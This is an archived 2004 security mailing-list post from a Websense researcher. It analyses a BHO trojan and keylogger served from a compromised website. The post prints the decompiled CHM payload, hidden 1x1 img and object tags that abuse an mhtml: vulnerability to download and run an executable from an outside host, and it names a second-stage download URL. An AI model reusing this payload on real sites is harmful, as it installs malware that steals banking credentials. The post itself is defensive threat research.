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BHO Trojan follow-up information
From: "Hubbard, Dan" <dhubbard () websense com>
Date: Tue, 29 Jun 2004 15:32:48 -0700
All; Some more interesting information on BHO trojan: We captured a sample file from the infected site: * http://www.refestltd.com/ "Decompiled" the CHM file *hh -decompile c:\dir iexpl.chm (NA shows this as keylog.lotus) Decompiled file: (idx.htm) <html> <body> <img width=1 height=1 src='mhtml:file://c:\sdfgs.mht!http://www.refestltd.com/sjdif.exe'> <object width=1 height=1 classid='CLSID:432a4783-7454-5521-8141-012605761023' codebase='mhtml:file://c:\sdfgs.mht!http://www.refestltd.com/sjdif.exe'> <object width=1 height=1 classid='CLSID:16b5b163-46f2-1672-2875-456882197953' codebase='mhtml:file://c:\sdfgs.mht!http://www.refestltd.com/sjdif.exe'> </body> </html> * As previously reported uses CHM vuln.. * The sjdif.exe is recognized as Downloader.hw from NA. * Then we ran strings on sjdif.exe and found that it connects to another website that downloads the reported Keylogger which connects to online banking sites that was reported here by Internet Storm Center earlier today http://isc.sans.org/ from another remote website: http://www.sanitziedtoprotectheinnocent.com/img1big.gif (which is the same file that you saw), this was set to download and be renamed to a.scr along with dropping the BHO. * This file is not in NA's AV's signature at the time of testing. The location that was in the site serving the malcode (img1big.gif) is running Apache 1.3.31 and appears to be a VHOST on a UK hosting company. To date we have seen no unusual activity on our honeypots to alarm there is a worm out there. Does anyone else have a sample of sjdif.exe that they can run strings on and share the information of what site is set to goto ? I am very interested to see if the malcode has embedded in it different sites? --------------------- Dan Hubbard Director, Security and Technology Research Websense Inc
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